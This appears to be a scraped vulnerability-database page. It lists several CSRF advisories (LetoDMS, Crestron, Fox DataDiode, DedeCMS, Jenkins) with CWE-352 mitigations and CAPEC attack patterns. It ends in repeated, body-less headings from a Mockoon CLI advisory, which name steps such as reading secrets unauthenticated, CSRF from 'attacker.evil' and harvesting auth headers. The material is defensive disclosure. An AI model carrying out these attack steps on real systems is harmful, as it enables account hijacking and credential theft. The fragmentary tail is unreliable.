  "published": "2022-05-18T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/storable-configs-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-05-17/#SECURITY-1969"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross Site Request Forgery in Jenkins Storable Configs Plugin"
}

GHSA-RR2V-RM35-C7F7

Vulnerability from github – Published: 2022-05-14 02:44 – Updated: 2022-05-14 02:44

Details

Multiple cross-site request forgery (CSRF) vulnerabilities in LetoDMS (formerly MyDMS) 1.7.2 and earlier allow remote attackers to hijack the authentication of administrators for requests that use (1) op/op.EditUserData.php, (2) op/op.UsrMgr.php, (3) out/out.RemoveVersion.php, (4) op/op.RemoveFolder.php, (5) op/op.DefaultKeywords.php, (6) op/op.GroupMgr.php, (7) op/op.FolderAccess.php, (8) op/op.FolderNotify.php, or (9) op.MoveFolder.php in mydms.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2010-2007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-05-20T21:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in LetoDMS (formerly MyDMS) 1.7.2 and earlier allow remote attackers to hijack the authentication of administrators for requests that use (1) op/op.EditUserData.php, (2) op/op.UsrMgr.php, (3) out/out.RemoveVersion.php, (4) op/op.RemoveFolder.php, (5) op/op.DefaultKeywords.php, (6) op/op.GroupMgr.php, (7) op/op.FolderAccess.php, (8) op/op.FolderNotify.php, or (9) op.MoveFolder.php in mydms.",
  "id": "GHSA-rr2v-rm35-c7f7",
  "modified": "2022-05-14T02:44:34Z",
  "published": "2022-05-14T02:44:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2007"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55710"
    },
    {
      "type": "WEB",
      "url": "https://www.sec-consult.com/files/20100115-0_mydms_file_inclusion.txt"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/61835"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/38237"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/508947/100/0/threaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RR54-HM82-4FWC

Vulnerability from github – Published: 2022-05-17 03:50 – Updated: 2022-05-17 03:50

Details

Multiple cross-site request forgery (CSRF) vulnerabilities on Crestron Electronics DM-TXRX-100-STR devices with firmware through 1.3039.00040 allow remote attackers to hijack the authentication of arbitrary users.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2016-5671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-08-03T01:59:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities on Crestron Electronics DM-TXRX-100-STR devices with firmware through 1.3039.00040 allow remote attackers to hijack the authentication of arbitrary users.",
  "id": "GHSA-rr54-hm82-4fwc",
  "modified": "2022-05-17T03:50:31Z",
  "published": "2022-05-17T03:50:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5671"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/974424"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/92211"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR64-XW2H-XW8J

Vulnerability from github – Published: 2022-05-17 04:19 – Updated: 2025-10-03 18:31

Details

Multiple cross-site request forgery (CSRF) vulnerabilities in the administrative web interface in the proxy server on Fox-IT Fox DataDiode appliances before 1.7.2 allow remote attackers to hijack the authentication of administrators for requests that (1) create administrative users, (2) remove administrative users, or (3) change permissions.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-2358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-10-19T01:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in the administrative web interface in the proxy server on Fox-IT Fox DataDiode appliances before 1.7.2 allow remote attackers to hijack the authentication of administrators for requests that (1) create administrative users, (2) remove administrative users, or (3) change permissions.",
  "id": "GHSA-rr64-xw2h-xw8j",
  "modified": "2025-10-03T18:31:18Z",
  "published": "2022-05-17T04:19:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2358"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-14-269-02"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-14-269-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RR6V-P34P-8393

Vulnerability from github – Published: 2024-05-07 15:30 – Updated: 2024-05-07 15:30

Details

A vulnerability, which was classified as problematic, has been found in DedeCMS 5.7. This issue affects some unknown processing of the file /src/dede/sys_multiserv.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-263315. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-4593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-07T14:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in DedeCMS 5.7. This issue affects some unknown processing of the file /src/dede/sys_multiserv.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-263315. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-rr6v-p34p-8393",
  "modified": "2024-05-07T15:30:39Z",
  "published": "2024-05-07T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hckwzh/cms/blob/main/24.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.263315"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.263315"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.324961"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Mitigation

Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation

Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation

Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation

Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:
When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Mitigation

Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation

Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list

CWE-352

Cross-Site Request Forgery (CSRF)

Summary

Details

Root cause

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

1) Read operator secret unauth

2) Poison operator secret unauth → downstream consumer ingests attacker value

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

4) Cross-origin CSRF from https://attacker.evil

5) Rewrite every mock route via unauth PUT /environment

6) Read transaction logs / SSE stream → harvest consumer's auth headers

7) Purge state (DoS)

Impact

Suggested fix

Mitigation MIT-4

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

CAPEC-462: Cross-Domain Search Timing

CAPEC-467: Cross Site Identification

CAPEC-62: Cross Site Request Forgery

Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)

3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)

4) Cross-origin CSRF from `https://attacker.evil`

5) Rewrite every mock route via unauth `PUT /environment`